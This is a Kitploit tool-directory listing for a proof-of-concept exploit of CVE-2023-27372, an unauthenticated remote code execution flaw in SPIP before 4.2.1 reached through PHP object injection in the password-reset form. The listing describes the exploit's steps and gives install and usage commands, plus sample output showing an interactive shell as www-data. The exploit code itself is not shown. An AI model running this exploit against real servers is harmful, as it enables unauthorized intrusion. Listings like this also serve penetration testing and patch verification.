Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-27372-SPIP-4.2.1-Unauthenticated-RCE-PoC — Proof-of-concept exploit for unauthenticated remote code execution in SPIP < 4.2.1 via PHP object injection in the password reset form. Provides interactive shell with CSRF token handling. | Kitploit
Tools/GitHubGitHub/estebanzarate/cve-2023-27372-spip-4.2.1-unauthenticated-rce-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubestebanzarate/cve-2023-27372-spip-4.2.1-unauthenticated-rce-poc

CVE-2023-27372-SPIP-4.2.1-Unauthenticated-RCE-PoC

Proof-of-concept exploit for unauthenticated remote code execution in SPIP < 4.2.1 via PHP object injection in the password reset form. Provides interactive shell with CSRF token handling.

View Repository
116 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-27372 — SPIP < 4.2.1 Unauthenticated RCE (PoC)

Unauthenticated remote code execution vulnerability in SPIP before 4.2.1. The oubli parameter in the password reset form is vulnerable to PHP object injection due to mishandled deserialization. A crafted serialized payload is executed server-side as the web user, and the output is reflected back in the response inside the oubli input field value.


How it works

  1. Fetches the anti-CSRF token from /spip.php?page=spip_pass.
  2. Sends a POST request with a PHP serialized payload injected into the oubli parameter.
  3. Extracts the command output from the reflected value attribute in the response.
  4. Loops for interactive command execution, refreshing the CSRF token on each request.

Requirements

  • Python 3
  • Install dependencies:
root@kitploit:~
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

Usage

root@kitploit:~
python3 exploit.py -u http://TARGET/spip

Example:

root@kitploit:~
$ python3 exploit.py -u http://10.10.10.10/spip
[*] Fetching anti-CSRF token...
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

References

  • CVE-2023-27372
  • Original PoC by nuts7
  • SPIP release notes

Credits

  • Discovery & original exploit: nuts7
  • Cleanup & interactive shell: Esteban Zárate
Download Tool